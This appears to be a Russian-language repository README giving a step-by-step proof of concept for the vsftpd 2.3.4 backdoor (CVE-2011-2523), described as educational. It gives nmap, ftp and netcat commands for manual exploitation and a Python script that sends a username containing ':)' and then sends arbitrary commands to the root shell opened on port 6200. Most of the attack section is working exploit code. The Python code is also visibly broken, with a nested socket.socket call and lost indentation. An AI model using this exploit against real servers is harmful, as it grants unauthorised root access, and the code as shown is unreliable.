
vsftpd 2.3.4 (CVE-2011-2523) — это критическая уязвимость, приводящая к Reverse Root Shell. В этом репозитории я пошагово покажу PoC того, как эксплуатировать её вручную и автоматически (на Python) в образовательных целях.
vsftpd 2.3.4 (CVE-2011-2523) — критическая уязвимость, приводящая к получению Root Shell. В этом репозитории я продемонстрирую PoC эксплуатации этой уязвимости шаг за шагом: вручную и автоматически (Python) в образовательных целях.
В чем заключается уязвимость?
Во-первых, это эксплойт на стороне сервера, поэтому мы будем эксплуатировать его удалённо. Идея в том, что при подключении к FTP-серверу по умолчанию на порту 21 с использованием имени пользователя, содержащего :), система открывает TCP-порт 6200 с Root Shell. Таким образом, любой может подключиться к нему и получить root-доступ к целевому серверу, что является катастрофой. Давайте сделаем это практически шаг за шагом. Сначала я объясню вручную, чтобы получить полное представление, а затем будет Python-скрипт для автоматической эксплуатации.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP

ftp Target_IP
nmap -p6200 Target_IP
Порт 6200 теперь открыт — это наш бэкдор

nc -nv Target_IP 6200
Наконец, мы получили Root Shell на целевой машине.

После ручного выполнения мы знаем шаги эксплойта:
:), чтобы активировать бэкдор.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()